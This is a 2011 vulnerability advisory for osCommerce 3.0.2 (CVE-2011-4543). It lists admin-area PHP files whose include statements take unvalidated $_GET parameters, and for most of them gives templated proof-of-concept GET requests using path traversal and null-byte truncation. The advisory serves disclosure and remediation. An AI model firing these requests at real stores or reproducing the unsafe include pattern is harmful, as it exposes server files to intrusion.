Multiple Path Injection Vulnerabilities in OsCommerce (ver. 3.0.2)

Title: Multiple Path Injection Vulnerabilities in OsCommerce (ver. 3.0.2)
Release Date: 2011/11/22
Vulnerable Application: OsCommerce (ver. 3.0.2)
Type: Path Injection
Level: Critical (Low/High/Critical)
CVSS: 6.4 (AV:N/AC:L/Au:N/C:P/I:P/A:N)

Dognædis Ref.: DGS-SEC-4
CVE Ref.: CVE-2011-4543
Other Ref.:
Discover Credits: CodeV - Code Analyzer
Bulletin Author(s): FRente
Contact: irt@dognaedis.com

Overview:

OsCommerce is an open source online store solution.
From the osCommerce site: "osCommerce has attracted a large and growing community that consists of over 253,100 store owners, developers, service providers, and enthusiasts who support and work with each other on their online business. To date there are over 6,600 add-ons available for free to customize osCommerce Online Merchant online stores that help increase sales.
osCommerce Online Merchant is an Open Source online shop e-commerce solution that is available for free with a feature rich set of out-of-the-box online shopping cart functionality that allows store owners to setup, run, and maintain online stores with minimum effort and with no costs, fees, or limitations involved.
With over 10 years of operation, osCommerce has built a showcase of over 12,700 online shops that have been voluntarily added to the live shops section, and powers many thousands of more online shops worldwide.".

Scope:

File: /osCommerce/OM/Core/Site/Admin/Application/templates_modules/pages/info.php

Vulnerable Argument(s): $_GET['set'] and $_GET['module']
Code:

```
(line 15): include('../includes/modules/' . $_GET['set'] . '/' . $_GET['module'] . '.php');
```

Proof(s) of Concept:

```
(for any version of PHP)
GET:
http://<app_base>/OM/Core/Site/Admin/Application/templates_modules/pages/info.php?set=<path_traversal>&module=<php_file_to_include_without_extension>
(for PHP versions < 5.3.4)
GET:
http://<app_base>/OM/Core/Site/Admin/Application/templates_modules/pages/info.php?set=<path_traversal_and_file_to_include_with_extension>%00&module=anything
```

File: osCommerce/OM/Core/Site/Admin/Application/templates_modules/pages/edit.php

Vulnerable Argument(s): $_GET['set'] and $_GET['module']
Code:

```
(line 15): include('../includes/modules/' . $_GET['set'] . '/' . $_GET['module'] . '.php');
```

Proof(s) of Concept:

```
(for any version of PHP)
GET:
```

```
http://<app_base>/OM/Core/Site/Admin/Application/templates_modules/pages/edit.php?set=<path_traversal>&module=<php_file_to_include_without_extension>
(for PHP versions < 5.3.4)
GET:
http://<app_base>/OM/Core/Site/Admin/Application/templates_modules/pages/edit.php?set=<path_traversal_and_file_to_include_with_extension>%00&module=anything
```

File: /osCommerce/OM/Core/Site/Admin/Application/templates_modules/pages/uninstall.php
Vulnerable Argument(s): $_GET['set'] and $_GET['module']
Code:

```
(line 15): include('../includes/modules/' . $_GET['set'] . '/' . $_GET['module'] . '.php');
```

Proof(s) of Concept:

```
(for any version of PHP)
GET:
http://<app_base>/OM/Core/Site/Admin/Application/templates_modules/pages/uninstall.php?set=<path_traversal>&module=<php_file_to_include_without_extension>
(for PHP versions < 5.3.4)
GET:
http://<app_base>/OM/Core/Site/Admin/Application/templates_modules/pages/uninstall.php?set=<path_traversal_and_file_to_include_with_extension>%00&module=anything
```

File: /osCommerce/OM/Core/Site/Admin/Application/templates_modules/pages/main.php
Vulnerable Argument(s): $_GET['set']
Code:

```
line 43: include('../includes/modules/' . $_GET['set'] . '/' . $file['name']);
```

File: /osCommerce/OM/Core/Site/Admin/Application/modules_order_total/pages/edit.php
Vulnerable Argument(s): $_GET['module']
Code:

```
line 15: include('includes/modules/order_total/' . $_GET['module'] . '.php');
```

Proof(s) of Concept:

```
(for any version of PHP)
GET:
http://<app_base>/OM/Core/Site/Admin/Application/modules_order_total/pages/edit.php?module=<path_traversal_of_php_file_to_include_without_extension>
(for PHP versions < 5.3.4)
GET:
http://<app_base>/OM/Core/Site/Admin/Application/modules_order_total/pages/edit.php?module=<path_traversal_and_file_to_include_with_extension>%00
```

File: /osCommerce/OM/Core/Site/Admin/Application/modules_order_total/pages/uninstall.php
Vulnerable Argument(s): $_GET['module']
Code:

```
line 15: include('includes/modules/order_total/' . $_GET['module'] . '.php');
```

Proof(s) of Concept:

```
(for any version of PHP)
GET:
http://<app_base>/OM/Core/Site/Admin/Application/modules_order_total/pages/uninstall.php?module=<path_traversal_of_php_file_to_include_without_extension>
```

```
(for PHP versions < 5.3.4)
GET:
http://<app_base>/OM/Core/Site/Admin/Application/modules_order_total/pages/uninstall.php?module=<path_traversal_and_file_to_include_with_extension>%00
```

File: /osCommerce/OM/Core/Site/Admin/Application/modules_order_total/pages/info.php
Vulnerable Argument(s): $_GET['module']
Code:

```
line 15: include('includes/modules/order_total/' . $_GET['module'] . '.php');
```

Proof(s) of Concept:

```
(for any version of PHP)
GET:
http://<app_base>/OM/Core/Site/Admin/Application/modules_order_total/pages/info.php?module=<path_traversal_of_php_file_to_include_without_extension>
(for PHP versions < 5.3.4)
GET:
http://<app_base>/OM/Core/Site/Admin/Application/modules_order_total/pages/info.php?module=<path_traversal_and_file_to_include_with_extension>%00
```

File: /osCommerce/OM/Core/Site/Admin/Application/modules_geoip/pages/edit.php
Vulnerable Argument(s): $_GET['module']
Code:

```
line 15: include('includes/modules/geoip/' . $_GET['module'] . '.php');
```

Proof(s) of Concept:

```
(for any version of PHP)
GET:
http://<app_base>/OM/Core/Site/Admin/Application/modules_geoip/pages/edit.php?module=<path_traversal_of_php_file_to_include_without_extension>
(for PHP versions < 5.3.4)
GET:
http://<app_base>/OM/Core/Site/Admin/Application/modules_geoip/pages/edit.php?module=<path_traversal_and_file_to_include_with_extension>%00
```

File: /osCommerce/OM/Core/Site/Admin/Application/modules_geoip/pages/uninstall.php
Vulnerable Argument(s): $_GET['module']
Code:

```
line 15: include('includes/modules/geoip/' . $_GET['module'] . '.php');
```

Proof(s) of Concept:

```
(for any version of PHP)
GET:
http://<app_base>/OM/Core/Site/Admin/Application/modules_geoip/pages/uninstall.php?module=<path_traversal_of_php_file_to_include_without_extension>
(for PHP versions < 5.3.4)
GET:
http://<app_base>/OM/Core/Site/Admin/Application/modules_geoip/pages/uninstall.php?module=<path_traversal_and_file_to_include_with_extension>%00
```

File: /osCommerce/OM/Core/Site/Admin/Application/templates_modules_layout/pages/main.php
Vulnerable Argument(s): $_GET['filter']

Code:

```
line 15: require('includes/templates/' . $_GET['filter'] . '.php');
```

Proof(s) of Concept:

```
(for any version of PHP)
GET:
http://<app_base>/OM/Core/Site/Admin/Application/templates_modules_layout/pages/main.php?filter=<path_traversal_and_php_file_to_include_without_extension>
(for PHP versions < 5.3.4)
GET:
http://<app_base>/OM/Core/Site/Admin/Application/templates_modules_layout/pages/main.php?filter=<path_traversal_and_file_to_include_with_extension>%00
```

File: /osCommerce/OM/Core/Site/Admin/Application/templates_modules_layout/pages/new.php
Vulnerable Argument(s): $_GET['filter']
Code:

```
line 90: require('includes/templates/' . $_GET['filter'] . '.php');
```

Proof(s) of Concept:

```
(for any version of PHP)
GET: http://<entry_point_file>?filter=<path_traversal_and_php_file_to_include_without_extension>
(for PHP versions < 5.3.4)
GET: http://<entry_point_file>?filter=<path_traversal_and_file_to_include_with_extension>%00
```

File: /osCommerce/OM/Core/Site/Admin/Application/templates_modules_layout/pages/edit.php
Vulnerable Argument(s): $_GET['filter']
Code:

```
line 90:  require('includes/templates/' . $_GET['filter'] . '.php');
```

Proof(s) of Concept:

```
(for any version of PHP)
GET: http://<entry_point_file>?filter=<path_traversal_and_php_file_to_include_without_extension>
(for PHP versions < 5.3.4)
GET: http://<entry_point_file>?filter=<path_traversal_and_file_to_include_with_extension>%00
```

File: /osCommerce/OM/Core/Site/Admin/Application/templates/pages/info.php
Vulnerable Argument(s): $_GET['template']
Code:

```
line 15: include('includes/templates/' . $_GET['template'] . '.php');
```

Proof(s) of Concept:

```
(for any version of PHP)
GET:
http://<app_base>/OM/Core/Site/Admin/Application/templates/pages/info.php?template=<path_traversal_of_php_file_to_include_without_extension>
(for PHP versions < 5.3.4)
GET:
http://<app_base>/OM/Core/Site/Admin/Application/templates/pages/info.php?template=<path_traversal_and_file_to_include_with_extension>%00
```

File: /osCommerce/OM/Core/Site/Admin/Application/templates/pages/edit.php
Vulnerable Argument(s): $_GET['template']
Code:

```
line 15: include('includes/templates/' . $_GET['template'] . '.php');
```

Proof(s) of Concept:

```
(for any version of PHP)
GET:
http://<app_base>/OM/Core/Site/Admin/Application/templates/pages/edit.php?template=<path_traversal_of_php_file_to_include_without_extension>
(for PHP versions < 5.3.4)
GET:
http://<app_base>/OM/Core/Site/Admin/Application/templates/pages/edit.php?template=<path_traversal_and_file_to_include_with_extension>%00
```

File: /osCommerce/OM/Core/Site/Admin/Application/templates/pages/uninstall.php
Vulnerable Argument(s): $_GET['template']
Code:

```
line 15: include('includes/templates/' . $_GET['template'] . '.php');
```

Proof(s) of Concept:

```
(for any version of PHP)
GET:
http://<app_base>/OM/Core/Site/Admin/Application/templates/pages/uninstall.php?template=<path_traversal_of_php_file_to_include_without_extension>
(for PHP versions < 5.3.4)
GET:
http://<app_base>/OM/Core/Site/Admin/Application/templates/pages/uninstall.php?template=<path_traversal_and_file_to_include_with_extension>%00
```

File: /osCommerce/OM/Core/Site/Admin/Application/images/pages/main.php
Vulnerable Argument(s): $_GET['module']
Code:

```
line 15: include('includes/modules/image/' . $_GET['module'] . '.php');
```

Proof(s) of Concept:

```
(for any version of PHP)
GET:
http://<app_base>/OM/Core/Site/Admin/Application/images/pages/main.php?module=<path_traversal_of_php_file_to_include_without_extension>
(for PHP versions < 5.3.4)
GET:
http://<app_base>/OM/Core/Site/Admin/Application/images/pages/main.php?module=<path_traversal_and_file_to_include_with_extension>%00
```

File: /osCommerce/OM/Core/Site/Admin/Application/modules_shipping/pages/edit.php
Vulnerable Argument(s): $_GET['module']
Code:

```
line 15: include('includes/modules/shipping/' . $_GET['module'] . '.php');
```

Proof(s) of Concept:

```
(for any version of PHP)
GET:
http://<app_base>/OM/Core/Site/Admin/Application/modules_shipping/pages/edit.php?module=<path_traversal_of_php_file_to_include_without_extension>
(for PHP versions < 5.3.4)
```

```
GET:
http://<app_base>/OM/Core/Site/Admin/Application/modules_shipping/pages/edit.php?module=<path_traversal_and_file_to_include_with_extension>%00
```

File: /osCommerce/OM/Core/Site/Admin/Application/modules_shipping/pages/uninstall.php
Vulnerable Argument(s): $_GET['module']
Code:

```
line 15: include('includes/modules/shipping/' . $_GET['module'] . '.php');
```

Proof(s) of Concept:

```
(for any version of PHP)
GET:
http://<app_base>/OM/Core/Site/Admin/Application/modules_shipping/pages/uninstall.php?module=<path_traversal_of_php_file_to_include_without_extension>
(for PHP versions < 5.3.4)
GET:
http://<app_base>/OM/Core/Site/Admin/Application/modules_shipping/pages/uninstall.php?module=<path_traversal_and_file_to_include_with_extension>%00
```

Description:

The referred vulnerabilities could be exploited through Path Injection attacks.
By performing this kind of attack, it would be possible to include files existing on the server, that were not meant to.
For most of these argumentes, they could be terminated with a NULL char (for PHP versions prior to 5.3.4), allowing the inclusion any kind of file, instead of being limited to just ".PHP".
Despite existing some ".htaccess" files to avoid the direct calling of the referred files, the "AllowOverride" directive is, in most cases, set to "None" by default in the Apache configuration, making this protection uneffective.

Impact:

By exploiting these vulnerabilities, it would be possible to include arbitrary files existing on the web server.

Resolution:

Aiming a correct resolution of the identified vulnerability, the data obtained through the $_GET['set'], $_GET['module'], $_GET['filter'] and $_GET['template'] input arguments should be properly validated, to ensure that only the intended files can be included.

Official Solution:

At the moment, there is no official solution for the reported vulnerabilities.

External References:

http://www.owasp.org/index.php/Path_Traversal
http://www.owasp.org/index.php/Path_Manipulation
http://www.owasp.org/index.php/Relative_Path_Traversal
http://en.wikipedia.org/wiki/Directory_traversal
http://en.wikipedia.org/wiki/Code_injection